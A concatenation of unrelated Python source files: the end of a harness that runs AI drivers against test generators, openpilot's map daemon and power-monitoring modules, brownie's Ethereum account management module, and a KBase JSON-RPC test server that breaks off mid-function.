timeout_threads = join_all(list(ai_threads.values()), 11 * 60) for vid, thread in ai_threads.items(): if thread in timeout_threads: _logger.debug("AI timed out.") ai_stats[vid].timeout = True else: _logger.debug("The generator failed or DriveBuild rejected all the generated tests") gen_stat.rejected = submission_result is None or submission_result.submissions is None # Remove generated test files if dbe_path: remove(dbe_path.as_posix()) if dbc_path: remove(dbc_path.as_posix()) return gen_stat, list(ai_stats.values()) def test_ai_against_generator(service: AIExchangeService, generator: Any, ai: Any, time: int, lane_markings: Optional[bool] = None) \ -> List[Tuple[ChallengeTestGeneratorStat, Optional[List[ChallengeTestAIStat]]]]: from threading import Thread continue_challenge = True stats = [] def _run_fights() -> None: while continue_challenge: stats.append(_run_fight(service, generator, ai, lane_markings)) challenge_process = Thread(target=_run_fights) challenge_process.daemon = True challenge_process.start() challenge_process.join(time * 60) continue_challenge = False challenge_process.join() return stats
mapd.py
#!/usr/bin/env python # Add phonelibs openblas to LD_LIBRARY_PATH if import fails try: from scipy import spatial except ImportError as e: import os import sys from common.basedir import BASEDIR openblas_path = os.path.join(BASEDIR, "phonelibs/openblas/") os.environ['LD_LIBRARY_PATH'] += ':' + openblas_path args = [sys.executable] args.extend(sys.argv) os.execv(sys.executable, args) import os import sys import time import zmq import threading import numpy as np import overpy from collections import defaultdict from common.params import Params from common.transformations.coordinates import geodetic2ecef from selfdrive.services import service_list import selfdrive.messaging as messaging from mapd_helpers import LOOKAHEAD_TIME, MAPS_LOOKAHEAD_DISTANCE, Way, circle_through_points import selfdrive.crash as crash from selfdrive.version import version, dirty OVERPASS_API_URL = "https://overpass.kumi.systems/api/interpreter" OVERPASS_HEADERS = { 'User-Agent': 'NEOS (comma.ai)' } last_gps = None query_lock = threading.Lock() last_query_result = None last_query_pos = None def setup_thread_excepthook(): """ Workaround for `sys.excepthook` thread bug from: http://bugs.python.org/issue1230540 Call once from the main thread before creating any threads. Source: https://stackoverflow.com/a/31622038 """ init_original = threading.Thread.__init__ def init(self, *args, **kwargs): init_original(self, *args, **kwargs) run_original = self.run def run_with_except_hook(*args2, **kwargs2): try: run_original(*args2, **kwargs2) except Exception: sys.excepthook(*sys.exc_info()) self.run = run_with_except_hook threading.Thread.__init__ = init def build_way_query(lat, lon, radius=50): """Builds a query to find all highways within a given radius around a point""" pos = " (around:%f,%f,%f)" % (radius, lat, lon) q = """( way """ + pos + """ [highway][highway!~"^(footway|path|bridleway|steps|cycleway|construction|bus_guideway|escape)$"]; >;);out; """ return q def query_thread(): global last_query_result, last_query_pos api = overpy.Overpass(url=OVERPASS_API_URL, headers=OVERPASS_HEADERS, timeout=10.) while True: time.sleep(1) if last_gps is not None: fix_ok = last_gps.flags & 1 if not fix_ok: continue if last_query_pos is not None: cur_ecef = geodetic2ecef((last_gps.latitude, last_gps.longitude, last_gps.altitude)) prev_ecef = geodetic2ecef((last_query_pos.latitude, last_query_pos.longitude, last_query_pos.altitude)) dist = np.linalg.norm(cur_ecef - prev_ecef) if dist < 1000: continue q = build_way_query(last_gps.latitude, last_gps.longitude, radius=2000) try: new_result = api.query(q) # Build kd-tree nodes = [] real_nodes = [] node_to_way = defaultdict(list) for n in new_result.nodes: nodes.append((float(n.lat), float(n.lon), 0)) real_nodes.append(n) for way in new_result.ways: for n in way.nodes: node_to_way[n.id].append(way) nodes = np.asarray(nodes) nodes = geodetic2ecef(nodes) tree = spatial.cKDTree(nodes) query_lock.acquire() last_query_result = new_result, tree, real_nodes, node_to_way last_query_pos = last_gps query_lock.release() except Exception as e: print e query_lock.acquire() last_query_result = None query_lock.release() def mapsd_thread(): global last_gps context = zmq.Context() gps_sock = messaging.sub_sock(context, service_list['gpsLocation'].port, conflate=True) gps_external_sock = messaging.sub_sock(context, service_list['gpsLocationExternal'].port, conflate=True) map_data_sock = messaging.pub_sock(context, service_list['liveMapData'].port) cur_way = None curvature_valid = False curvature = None upcoming_curvature = 0. dist_to_turn = 0. road_points = None xx = np.arange(0, MAPS_LOOKAHEAD_DISTANCE, 10) while True: gps = messaging.recv_one(gps_sock) gps_ext = messaging.recv_one_or_none(gps_external_sock) if gps_ext is not None: gps = gps_ext.gpsLocationExternal else: gps = gps.gpsLocation last_gps = gps fix_ok = gps.flags & 1 if not fix_ok or last_query_result is None: cur_way = None curvature = None curvature_valid = False upcoming_curvature = 0. dist_to_turn = 0. road_points = None else: lat = gps.latitude lon = gps.longitude heading = gps.bearing speed = gps.speed query_lock.acquire() cur_way = Way.closest(last_query_result, lat, lon, heading, cur_way) if cur_way is not None: pnts, curvature_valid = cur_way.get_lookahead(last_query_result, lat, lon, heading, MAPS_LOOKAHEAD_DISTANCE) xs = pnts[:, 0] ys = pnts[:, 1] road_points = map(float, xs), map(float, ys) if speed < 10: curvature_valid = False # The curvature is valid when at least MAPS_LOOKAHEAD_DISTANCE of road is found if curvature_valid and pnts.shape[0] > 3: # Compute the curvature for each point with np.errstate(divide='ignore'): circles = [circle_through_points(*p) for p in zip(pnts, pnts[1:], pnts[2:])] circles = np.asarray(circles) radii = np.nan_to_num(circles[:, 2]) radii[radii < 10] = np.inf curvature = 1. / radii # Index of closest point closest = np.argmin(np.linalg.norm(pnts, axis=1)) dist_to_closest = pnts[closest, 0] # We can use x distance here since it should be close # Compute distance along path dists = list() dists.append(0) for p, p_prev in zip(pnts, pnts[1:, :]): dists.append(dists[-1] + np.linalg.norm(p - p_prev)) dists = np.asarray(dists) dists = dists - dists[closest] + dist_to_closest # TODO: Determine left or right turn curvature = np.nan_to_num(curvature) curvature_interp = np.interp(xx, dists[1:-1], curvature) curvature_lookahead = curvature_interp[:int(speed * LOOKAHEAD_TIME / 10)] # Outlier rejection new_curvature = np.percentile(curvature_lookahead, 90) k = 0.9 upcoming_curvature = k * upcoming_curvature + (1 - k) * new_curvature in_turn_indices = curvature_interp > 0.8 * new_curvature if np.any(in_turn_indices): dist_to_turn = np.min(xx[in_turn_indices]) else: dist_to_turn = 999 query_lock.release() dat = messaging.new_message() dat.init('liveMapData') if last_gps is not None: dat.liveMapData.lastGps = last_gps if cur_way is not None: dat.liveMapData.wayId = cur_way.id # Seed limit max_speed = cur_way.max_speed if max_speed is not None: dat.liveMapData.speedLimitValid = True dat.liveMapData.speedLimit = max_speed # Curvature dat.liveMapData.curvatureValid = curvature_valid dat.liveMapData.curvature = float(upcoming_curvature) dat.liveMapData.distToTurn = float(dist_to_turn) if road_points is not None: dat.liveMapData.roadX, dat.liveMapData.roadY = road_points if curvature is not None: dat.liveMapData.roadCurvatureX = map(float, xx) dat.liveMapData.roadCurvature = map(float, curvature_interp) map_data_sock.send(dat.to_bytes()) def main(gctx=None): params = Params() dongle_id = params.get("DongleId") crash.bind_user(id=dongle_id) crash.bind_extra(version=version, dirty=dirty, is_eon=True) crash.install() setup_thread_excepthook() main_thread = threading.Thread(target=mapsd_thread) main_thread.daemon = True main_thread.start() q_thread = threading.Thread(target=query_thread) q_thread.daemon = True q_thread.start() while True: time.sleep(0.1) if __name__ == "__main__": main()
power_monitoring.py
import random import threading import time from statistics import mean from cereal import log from common.params import Params, put_nonblocking from common.realtime import sec_since_boot from selfdrive.hardware import HARDWARE from selfdrive.swaglog import cloudlog CAR_VOLTAGE_LOW_PASS_K = 0.091 # LPF gain for 5s tau (dt/tau / (dt/tau + 1)) # A C2 uses about 1W while idling, and 30h seens like a good shutoff for most cars # While driving, a battery charges completely in about 30-60 minutes CAR_BATTERY_CAPACITY_uWh = 30e6 CAR_CHARGING_RATE_W = 45 VBATT_PAUSE_CHARGING = 11.1 # Lower limit on the LPF car battery voltage VBATT_INSTANT_PAUSE_CHARGING = 7.0 # Lower limit on the instant car battery voltage measurements to avoid triggering on instant power loss MAX_TIME_OFFROAD_S = 30*3600 MIN_ON_TIME_S = 3600 class PowerMonitoring: def __init__(self): self.params = Params() self.last_measurement_time = None # Used for integration delta self.last_save_time = 0 # Used for saving current value in a param self.power_used_uWh = 0 # Integrated power usage in uWh since going into offroad self.next_pulsed_measurement_time = None self.car_voltage_mV = 12e3 # Low-passed version of pandaState voltage self.car_voltage_instant_mV = 12e3 # Last value of pandaState voltage self.integration_lock = threading.Lock() car_battery_capacity_uWh = self.params.get("CarBatteryCapacity") if car_battery_capacity_uWh is None: car_battery_capacity_uWh = 0 # Reset capacity if it's low self.car_battery_capacity_uWh = max((CAR_BATTERY_CAPACITY_uWh / 10), int(car_battery_capacity_uWh)) # Calculation tick def calculate(self, pandaState): try: now = sec_since_boot() # If pandaState is None, we're probably not in a car, so we don't care if pandaState is None or pandaState.pandaState.pandaType == log.PandaState.PandaType.unknown: with self.integration_lock: self.last_measurement_time = None self.next_pulsed_measurement_time = None self.power_used_uWh = 0 return # Low-pass battery voltage self.car_voltage_instant_mV = pandaState.pandaState.voltage self.car_voltage_mV = ((pandaState.pandaState.voltage * CAR_VOLTAGE_LOW_PASS_K) + (self.car_voltage_mV * (1 - CAR_VOLTAGE_LOW_PASS_K))) # Cap the car battery power and save it in a param every 10-ish seconds self.car_battery_capacity_uWh = max(self.car_battery_capacity_uWh, 0) self.car_battery_capacity_uWh = min(self.car_battery_capacity_uWh, CAR_BATTERY_CAPACITY_uWh) if now - self.last_save_time >= 10: put_nonblocking("CarBatteryCapacity", str(int(self.car_battery_capacity_uWh))) self.last_save_time = now # First measurement, set integration time with self.integration_lock: if self.last_measurement_time is None: self.last_measurement_time = now return if (pandaState.pandaState.ignitionLine or pandaState.pandaState.ignitionCan): # If there is ignition, we integrate the charging rate of the car with self.integration_lock: self.power_used_uWh = 0 integration_time_h = (now - self.last_measurement_time) / 3600 if integration_time_h < 0: raise ValueError(f"Negative integration time: {integration_time_h}h") self.car_battery_capacity_uWh += (CAR_CHARGING_RATE_W * 1e6 * integration_time_h) self.last_measurement_time = now else: # No ignition, we integrate the offroad power used by the device is_uno = pandaState.pandaState.pandaType == log.PandaState.PandaType.uno # Get current power draw somehow current_power = HARDWARE.get_current_power_draw() # pylint: disable=assignment-from-none if current_power is not None: pass elif HARDWARE.get_battery_status() == 'Discharging': # If the battery is discharging, we can use this measurement # On C2: this is low by about 10-15%, probably mostly due to UNO draw not being factored in current_power = ((HARDWARE.get_battery_voltage() / 1000000) * (HARDWARE.get_battery_current() / 1000000)) elif (self.next_pulsed_measurement_time is not None) and (self.next_pulsed_measurement_time <= now): # TODO: Figure out why this is off by a factor of 3/4??? FUDGE_FACTOR = 1.33 # Turn off charging for about 10 sec in a thread that does not get killed on SIGINT, and perform measurement here to avoid blocking thermal def perform_pulse_measurement(now): try: HARDWARE.set_battery_charging(False) time.sleep(5) # Measure for a few sec to get a good average voltages = [] currents = [] for _ in range(6): voltages.append(HARDWARE.get_battery_voltage()) currents.append(HARDWARE.get_battery_current()) time.sleep(1) current_power = ((mean(voltages) / 1000000) * (mean(currents) / 1000000)) self._perform_integration(now, current_power * FUDGE_FACTOR) # Enable charging again HARDWARE.set_battery_charging(True) except Exception: cloudlog.exception("Pulsed power measurement failed") # Start pulsed measurement and return threading.Thread(target=perform_pulse_measurement, args=(now,)).start() self.next_pulsed_measurement_time = None return elif self.next_pulsed_measurement_time is None and not is_uno: # On a charging EON with black panda, or drawing more than 400mA out of a white/grey one # Only way to get the power draw is to turn off charging for a few sec and check what the discharging rate is # We shouldn't do this very often, so make sure it has been some long-ish random time interval self.next_pulsed_measurement_time = now + random.randint(120, 180) return else: # Do nothing return # Do the integration self._perform_integration(now, current_power) except Exception: cloudlog.exception("Power monitoring calculation failed") def _perform_integration(self, t, current_power): with self.integration_lock: try: if self.last_measurement_time: integration_time_h = (t - self.last_measurement_time) / 3600 power_used = (current_power * 1000000) * integration_time_h if power_used < 0: raise ValueError(f"Negative power used! Integration time: {integration_time_h} h Current Power: {power_used} uWh") self.power_used_uWh += power_used self.car_battery_capacity_uWh -= power_used self.last_measurement_time = t except Exception: cloudlog.exception("Integration failed") # Get the power usage def get_power_used(self): return int(self.power_used_uWh) def get_car_battery_capacity(self): return int(self.car_battery_capacity_uWh) # See if we need to disable charging def should_disable_charging(self, pandaState, offroad_timestamp): if pandaState is None or offroad_timestamp is None: return False now = sec_since_boot() disable_charging = False disable_charging |= (now - offroad_timestamp) > MAX_TIME_OFFROAD_S disable_charging |= (self.car_voltage_mV < (VBATT_PAUSE_CHARGING * 1e3)) and (self.car_voltage_instant_mV > (VBATT_INSTANT_PAUSE_CHARGING * 1e3)) disable_charging |= (self.car_battery_capacity_uWh <= 0) disable_charging &= (not pandaState.pandaState.ignitionLine and not pandaState.pandaState.ignitionCan) disable_charging &= (not self.params.get_bool("DisablePowerDown")) disable_charging &= (pandaState.pandaState.harnessStatus != log.PandaState.HarnessStatus.notConnected) disable_charging |= self.params.get_bool("ForcePowerDown") return disable_charging # See if we need to shutdown def should_shutdown(self, pandaState, offroad_timestamp, started_seen, LEON): if pandaState is None or offroad_timestamp is None: return False now = sec_since_boot() panda_charging = (pandaState.pandaState.usbPowerMode != log.PandaState.UsbPowerMode.client) BATT_PERC_OFF = 10 if LEON else 3 should_shutdown = False # Wait until we have shut down charging before powering down should_shutdown |= (not panda_charging and self.should_disable_charging(pandaState, offroad_timestamp)) should_shutdown |= ((HARDWARE.get_battery_capacity() < BATT_PERC_OFF) and (not HARDWARE.get_battery_charging()) and ((now - offroad_timestamp) > 60)) should_shutdown &= started_seen or (now > MIN_ON_TIME_S) return should_shutdown
account.py
#!/usr/bin/python3 import json import threading import time from getpass import getpass from pathlib import Path from typing import Any, Dict, Iterator, List, Optional, Tuple, Union import eth_account import eth_keys from hexbytes import HexBytes from brownie._config import CONFIG, _get_data_folder from brownie._singleton import _Singleton from brownie.convert import Wei, to_address from brownie.exceptions import ( ContractNotFound, IncompatibleEVMVersion, UnknownAccount, VirtualMachineError, ) from brownie.utils import color from .rpc import Rpc from .state import Chain, TxHistory, _revert_register from .transaction import TransactionReceipt from .web3 import _resolve_address, web3 history = TxHistory() rpc = Rpc() eth_account.Account.enable_unaudited_hdwallet_features() class Accounts(metaclass=_Singleton): """ List-like container that holds all available `Account` objects. Attributes ---------- default : Account, optional Default account to broadcast transactions from. """ def __init__(self) -> None: self.default = None self._accounts: List = [] # prevent sensitive info from being stored in readline history self.add.__dict__["_private"] = True self.from_mnemonic.__dict__["_private"] = True _revert_register(self) self._reset() def _reset(self) -> None: self._accounts.clear() try: self._accounts = [Account(i) for i in web3.eth.accounts] except Exception: pass # Check if accounts were manually unlocked and add them try: unlocked_accounts = CONFIG.active_network["cmd_settings"]["unlock"] if not isinstance(unlocked_accounts, list): unlocked_accounts = [unlocked_accounts] for address in unlocked_accounts: if isinstance(address, int): address = HexBytes(address.to_bytes(20, "big")).hex() account = Account(address) if account not in self._accounts: self._accounts.append(account) except (ConnectionError, ValueError, KeyError): pass if self.default not in self._accounts: self.default = None def _revert(self, height: int) -> None: # must exist for rpc registry callback pass def __contains__(self, address: str) -> bool: try: address = to_address(address) return address in self._accounts except ValueError: return False def __repr__(self) -> str: if CONFIG.argv["cli"] == "console": return str(self._accounts) return super().__repr__() def __iter__(self) -> Iterator: return iter(self._accounts) def __getitem__(self, key: int) -> "_PrivateKeyAccount": return self._accounts[key] def __delitem__(self, key: int) -> None: del self._accounts[key] def __len__(self) -> int: return len(self._accounts) def add(self, private_key: Union[int, bytes, str] = None) -> "LocalAccount": """ Create a new ``LocalAccount`` instance and appends it to the container. When the no private key is given, a mnemonic is also generated and outputted. Arguments --------- private_key : int | bytes | str, optional Private key of the account. If none is given, one is randomly generated. Returns ------- LocalAccount """ if private_key is None: w3account, mnemonic = eth_account.Account.create_with_mnemonic() print(f"mnemonic: '{color('bright cyan')}{mnemonic}{color}'") else: w3account = web3.eth.account.from_key(private_key) if w3account.address in self._accounts: return self.at(w3account.address) account = LocalAccount(w3account.address, w3account, w3account.key) self._accounts.append(account) return account def from_mnemonic( self, mnemonic: str, count: int = 1, offset: int = 0 ) -> Union["LocalAccount", List["LocalAccount"]]: """ Generate one or more `LocalAccount` objects from a seed phrase. Arguments --------- mnemonic : str Space-separated list of BIP39 mnemonic seed words count : int, optional The number of `LocalAccount` objects to create offset : int, optional The initial account index to create accounts from """ new_accounts = [] for i in range(offset, offset + count): w3account = eth_account.Account.from_mnemonic( mnemonic, account_path=f"m/44'/60'/0'/0/{i}" ) account = LocalAccount(w3account.address, w3account, w3account.key) new_accounts.append(account) if account not in self._accounts: self._accounts.append(account) if count == 1: return new_accounts[0] return new_accounts def load(self, filename: str = None) -> Union[List, "LocalAccount"]: """ Load a local account from a keystore file. Arguments --------- filename: str Keystore filename. If `None`, returns a list of available keystores. Returns ------- LocalAccount """ base_accounts_path = _get_data_folder().joinpath("accounts") if not filename: return [i.stem for i in base_accounts_path.glob("*.json")] filename = str(filename) json_file = Path(filename).expanduser() if not json_file.exists(): temp_json_file = json_file.with_suffix(".json") if temp_json_file.exists(): json_file = temp_json_file else: json_file_name = json_file.name json_file = base_accounts_path.joinpath(json_file_name) if json_file.suffix != ".json": json_file = json_file.with_suffix(".json") if not json_file.exists(): raise FileNotFoundError(f"Cannot find {json_file}") with json_file.open() as fp: priv_key = web3.eth.account.decrypt( json.load(fp), getpass("Enter the password to unlock this account: ") ) return self.add(priv_key) def at(self, address: str, force: bool = False) -> "LocalAccount": """ Retrieve an `Account` instance from the address string. Raises `ValueError` if the account cannot be found. Arguments --------- address: string Address of the account force: bool When True, will add the account even if it was not found in web3.eth.accounts Returns ------- Account """ address = _resolve_address(address) acct = next((i for i in self._accounts if i == address), None) if acct is None and (address in web3.eth.accounts or force): acct = Account(address) self._accounts.append(acct) if acct: return acct raise UnknownAccount(f"No account exists for {address}") def remove(self, address: Union[str, "Account"]) -> None: """ Remove an `Account` instance from the container. Arguments --------- address: str | Account Account instance, or string of the account address. """ address = _resolve_address(str(address)) try: self._accounts.remove(address) except ValueError: raise UnknownAccount(f"No account exists for {address}") def clear(self) -> None: """ Empty the container. """ self._accounts.clear() class PublicKeyAccount: """Class for interacting with an Ethereum account where you do not control the private key. Can be used to check the balance or nonce, and to send ether to.""" def __init__(self, addr: str) -> None: self.address = _resolve_address(addr) def __repr__(self) -> str: return f"<{type(self).__name__} '{self.address}'>" def __hash__(self) -> int: return hash(self.address) def __str__(self) -> str: return self.address def __eq__(self, other: Union[object, str]) -> bool: if isinstance(other, str): try: address = _resolve_address(other) return address == self.address except ValueError: return False if isinstance(other, PublicKeyAccount): return other.address == self.address return super().__eq__(other) def balance(self) -> Wei: """Returns the current balance at the address, in wei.""" balance = web3.eth.getBalance(self.address) return Wei(balance) @property def gas_used(self) -> int: """Returns the cumulative gas amount paid from this account.""" return sum(i.gas_used for i in history.from_sender(self.address)) @property def nonce(self) -> int: return web3.eth.getTransactionCount(self.address) class _PrivateKeyAccount(PublicKeyAccount): """Base class for Account and LocalAccount""" def __init__(self, addr: str) -> None: self._lock = threading.Lock() super().__init__(addr) def _pending_nonce(self) -> int: tx_from_sender = history.from_sender(self.address) if len(tx_from_sender) == 0: return self.nonce last_tx = tx_from_sender[-1] if last_tx.status == -1: return last_tx.nonce + 1 nonce = self.nonce while nonce == last_tx.nonce: # ganache does not always immediately increment the nonce time.sleep(0.5) nonce = self.nonce return nonce def _gas_limit( self, to: Optional["Account"], amount: int, gas_price: int, gas_buffer: Optional[float], data: Optional[str] = None, ) -> int: gas_limit = CONFIG.active_network["settings"]["gas_limit"] if gas_limit == "max": return Chain().block_gas_limit if isinstance(gas_limit, bool) or gas_limit in (None, "auto"): gas_buffer = gas_buffer or CONFIG.active_network["settings"]["gas_buffer"] gas_limit = self.estimate_gas(to, amount, gas_price, data or "") if gas_buffer != 1: gas_limit = Wei(gas_limit * gas_buffer) return min(gas_limit, Chain().block_gas_limit) return Wei(gas_limit) def _gas_price(self) -> Wei: gas_price = CONFIG.active_network["settings"]["gas_price"] if isinstance(gas_price, bool) or gas_price in (None, "auto"): return web3.eth.generateGasPrice() return Wei(gas_price) def _check_for_revert(self, tx: Dict) -> None: if not CONFIG.active_network["settings"]["reverting_tx_gas_limit"]: try: web3.eth.call(dict((k, v) for k, v in tx.items() if v)) except ValueError as e: raise VirtualMachineError(e) from None def deploy( self, contract: Any, *args: Tuple, amount: int = 0, gas_limit: Optional[int] = None, gas_buffer: Optional[float] = None, gas_price: Optional[int] = None, nonce: Optional[int] = None, required_confs: int = 1, silent: bool = None, ) -> Any: """Deploys a contract. Args: contract: ContractContainer instance. *args: Constructor arguments. The last argument may optionally be a dictionary of transaction values. Kwargs: amount: Amount of ether to send with transaction, in wei. gas_limit: Gas limit of the transaction. gas_buffer: Multiplier to apply to gas limit. gas_price: Gas price of the transaction. nonce: Nonce to use for the transaction. Returns: * Contract instance if the transaction confirms and the contract exists * TransactionReceipt if the transaction is pending or reverts """ if gas_limit and gas_buffer: raise ValueError("Cannot set gas_limit and gas_buffer together") evm = contract._build["compiler"]["evm_version"] if rpc.is_active() and not rpc.evm_compatible(evm): raise IncompatibleEVMVersion( f"Local RPC using '{rpc.evm_version()}' but contract was compiled for '{evm}'" ) data = contract.deploy.encode_input(*args) if silent is None: silent = bool(CONFIG.mode == "test" or CONFIG.argv["silent"]) with self._lock: try: gas_price = Wei(gas_price) if gas_price is not None else self._gas_price() gas_limit = Wei(gas_limit) or self._gas_limit( None, amount, gas_price, gas_buffer, data ) txid = self._transact( # type: ignore { "from": self.address, "value": Wei(amount), "nonce": nonce if nonce is not None else self._pending_nonce(), "gasPrice": gas_price, "gas": gas_limit, "data": HexBytes(data), } ) exc, revert_data = None, None except ValueError as e: exc = VirtualMachineError(e) if not hasattr(exc, "txid"): raise exc from None txid = exc.txid revert_data = (exc.revert_msg, exc.pc, exc.revert_type) receipt = TransactionReceipt( txid, self, silent=silent, required_confs=required_confs, name=contract._name + ".constructor", revert_data=revert_data, ) history._add_tx(receipt) add_thread = threading.Thread(target=contract._add_from_tx, args=(receipt,), daemon=True) add_thread.start() if rpc.is_active(): undo_thread = threading.Thread( target=Chain()._add_to_undo_buffer, args=( receipt, self.deploy, (contract, *args), { "amount": amount, "gas_limit": gas_limit, "gas_buffer": gas_buffer, "gas_price": gas_price, }, ), daemon=True, ) undo_thread.start() if receipt.status != 1: receipt._raise_if_reverted(exc) return receipt add_thread.join() try: return contract.at(receipt.contract_address) except ContractNotFound: # if the contract self-destructed during deployment return receipt def estimate_gas( self, to: "Account" = None, amount: int = 0, gas_price: int = None, data: str = None ) -> int: """ Estimate the gas cost for a transaction. Raises VirtualMachineError if the transaction would revert. Arguments --------- to : Account, optional Account instance or address string of transaction recipient. amount : int, optional Amount of ether to send in wei. gas_price : int, optional Gas price of the transaction. data : str, optional Transaction data hexstring. Returns ------- Estimated gas value in wei. """ tx: Dict = { "from": self.address, "to": str(to) if to else None, "value": Wei(amount), "data": HexBytes(data or ""), } if gas_price is not None: tx["gasPrce"] = gas_price try: return web3.eth.estimateGas(tx) except ValueError: revert_gas_limit = CONFIG.active_network["settings"]["reverting_tx_gas_limit"] if revert_gas_limit == "max": revert_gas_limit = web3.eth.getBlock("latest")["gasLimit"] CONFIG.active_network["settings"]["reverting_tx_gas_limit"] = revert_gas_limit if revert_gas_limit: return revert_gas_limit raise def transfer( self, to: "Account" = None, amount: int = 0, gas_limit: Optional[int] = None, gas_buffer: Optional[float] = None, gas_price: Optional[int] = None, data: str = None, nonce: Optional[int] = None, required_confs: int = 1, silent: bool = None, ) -> TransactionReceipt: """ Broadcast a transaction from this account. Kwargs: to: Account instance or address string to transfer to. amount: Amount of ether to send, in wei. gas_limit: Gas limit of the transaction. gas_buffer: Multiplier to apply to gas limit. gas_price: Gas price of the transaction. nonce: Nonce to use for the transaction. data: Hexstring of data to include in transaction. silent: Toggles console verbosity. Returns: TransactionReceipt object """ if gas_limit and gas_buffer: raise ValueError("Cannot set gas_limit and gas_buffer together") if silent is None: silent = bool(CONFIG.mode == "test" or CONFIG.argv["silent"]) with self._lock: gas_price = Wei(gas_price) if gas_price is not None else self._gas_price() gas_limit = Wei(gas_limit) or self._gas_limit(to, amount, gas_price, gas_buffer, data) tx = { "from": self.address, "value": Wei(amount), "nonce": nonce if nonce is not None else self._pending_nonce(), "gasPrice": gas_price, "gas": gas_limit, "data": HexBytes(data or ""), } if to: tx["to"] = to_address(str(to)) try: txid = self._transact(tx) # type: ignore exc, revert_data = None, None except ValueError as e: exc = VirtualMachineError(e) if not hasattr(exc, "txid"): raise exc from None txid = exc.txid revert_data = (exc.revert_msg, exc.pc, exc.revert_type) receipt = TransactionReceipt( txid, self, required_confs=required_confs, silent=silent, revert_data=revert_data ) history._add_tx(receipt) if rpc.is_active(): undo_thread = threading.Thread( target=Chain()._add_to_undo_buffer, args=( receipt, self.transfer, (to, amount, gas_limit, gas_buffer, gas_price, data, None), {}, ), daemon=True, ) undo_thread.start() receipt._raise_if_reverted(exc) return receipt class Account(_PrivateKeyAccount): """Class for interacting with an Ethereum account. Attributes: address: Public address of the account. nonce: Current nonce of the account.""" def _transact(self, tx: Dict) -> Any: self._check_for_revert(tx) return web3.eth.sendTransaction(tx) class LocalAccount(_PrivateKeyAccount): """Class for interacting with an Ethereum account. Attributes: address: Public address of the account. nonce: Current nonce of the account. private_key: Account private key. public_key: Account public key.""" def __init__(self, address: str, account: Account, priv_key: Union[int, bytes, str]) -> None: self._acct = account if not isinstance(priv_key, str): priv_key = HexBytes(priv_key).hex() self.private_key = priv_key self.public_key = eth_keys.keys.PrivateKey(HexBytes(priv_key)).public_key super().__init__(address) def save(self, filename: str, overwrite: bool = False) -> str: """Encrypts the private key and saves it in a keystore json. Attributes: filename: path to keystore file. If no folder is given, saved in ~/.brownie/accounts overwrite: if True, will overwrite an existing file. Returns the absolute path to the keystore file as a string. """ path = _get_data_folder().joinpath("accounts") path.mkdir(exist_ok=True) filename = str(filename) if not filename.endswith(".json"): filename += ".json" if not any(i in r"\/" for i in filename): json_file = path.joinpath(filename).resolve() else: json_file = Path(filename).expanduser().resolve() if not overwrite and json_file.exists(): raise FileExistsError("Account with this identifier already exists") encrypted = web3.eth.account.encrypt( self.private_key, getpass("Enter the password to encrypt this account with: ") ) with json_file.open("w") as fp: json.dump(encrypted, fp) return str(json_file) def _transact(self, tx: Dict) -> None: self._check_for_revert(tx) signed_tx = self._acct.sign_transaction(tx).rawTransaction # type: ignore return web3.eth.sendRawTransaction(signed_tx)
testServer.py
#!/usr/bin/env python from wsgiref.simple_server import make_server import sys import json import traceback import datetime from multiprocessing import Process from getopt import getopt, GetoptError from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError,\ JSONRPCError, ServerError, InvalidRequestError from os import environ from ConfigParser import ConfigParser from biokbase import log import biokbase.nexus import requests as _requests import urlparse as _urlparse import random as _random import os DEPLOY = 'KB_DEPLOYMENT_CONFIG' SERVICE = 'KB_SERVICE_NAME' # Note that the error fields do not match the 2.0 JSONRPC spec def get_config_file(): return environ.get(DEPLOY, None) def get_service_name(): return environ.get(SERVICE, None) def get_config(): if not get_config_file(): return None retconfig = {} config = ConfigParser() config.read(get_config_file()) for nameval in config.items(get_service_name() or 'test'): retconfig[nameval[0]] = nameval[1] return retconfig config = get_config() from test.testImpl import test impl_test = test(config) class JSONObjectEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, set): return list(obj) if isinstance(obj, frozenset): return list(obj) if hasattr(obj, 'toJSONable'): return obj.toJSONable() return json.JSONEncoder.default(self, obj) sync_methods = {} async_run_methods = {} async_check_methods = {} async_run_methods['test.filter_contigs_async'] = ['test', 'filter_contigs'] async_check_methods['test.filter_contigs_check'] = ['test', 'filter_contigs'] sync_methods['test.filter_contigs'] = True class AsyncJobServiceClient(object): def __init__(self, timeout=30 * 60, token=None, ignore_authrc=True, trust_all_ssl_certificates=False): url = environ.get('KB_JOB_SERVICE_URL', None) if url is None and config is not None: url = config.get('job-service-url') if url is None: raise ValueError('Neither \'job-service-url\' parameter is defined in '+ 'configuration nor \'KB_JOB_SERVICE_URL\' variable is defined in system') scheme, _, _, _, _, _ = _urlparse.urlparse(url) if scheme not in ['http', 'https']: raise ValueError(url + " isn't a valid http url") self.url = url self.timeout = int(timeout) self._headers = dict() self.trust_all_ssl_certificates = trust_all_ssl_certificates if token is None: raise ValueError('Authentication is required for async methods') self._headers['AUTHORIZATION'] = token if self.timeout < 1: raise ValueError('Timeout value must be at least 1 second') def _call(self, method, params, json_rpc_call_context = None): arg_hash = {'method': method, 'params': params, 'version': '1.1', 'id': str(_random.random())[2:] } if json_rpc_call_context: arg_hash['context'] = json_rpc_call_context body = json.dumps(arg_hash, cls=JSONObjectEncoder) ret = _requests.post(self.url, data=body, headers=self._headers, timeout=self.timeout, verify=not self.trust_all_ssl_certificates) if ret.status_code == _requests.codes.server_error: if 'content-type' in ret.headers and ret.headers['content-type'] == 'application/json': err = json.loads(ret.text) if 'error' in err: raise ServerError(**err['error']) else: raise ServerError('Unknown', 0, ret.text) else: raise ServerError('Unknown', 0, ret.text) if ret.status_code != _requests.codes.OK: ret.raise_for_status() resp = json.loads(ret.text) if 'result' not in resp: raise ServerError('Unknown', 0, 'An unknown server error occurred') return resp['result'] def run_job(self, run_job_params, json_rpc_call_context = None): return self._call('KBaseJobService.run_job', [run_job_params], json_rpc_call_context)[0] def check_job(self, job_id, json_rpc_call_context = None): return self._call('KBaseJobService.check_job', [job_id], json_rpc_call_context)[0] class JSONRPCServiceCustom(JSONRPCService): def call(self, ctx, jsondata): """ Calls jsonrpc service's method and returns its return value in a JSON string or None if there is none. Arguments: jsondata -- remote method call in jsonrpc format """ result = self.call_py(ctx, jsondata) if result is not None: return json.dumps(result, cls=JSONObjectEncoder) return None def _call_method(self, ctx, request): """Calls given method with given params and returns it value.""" method = self.method_data[request['method']]['method'] params = request['params'] result = None try: if isinstance(params, list): # Does it have enough arguments? if len(params) < self._man_args(method) - 1: raise 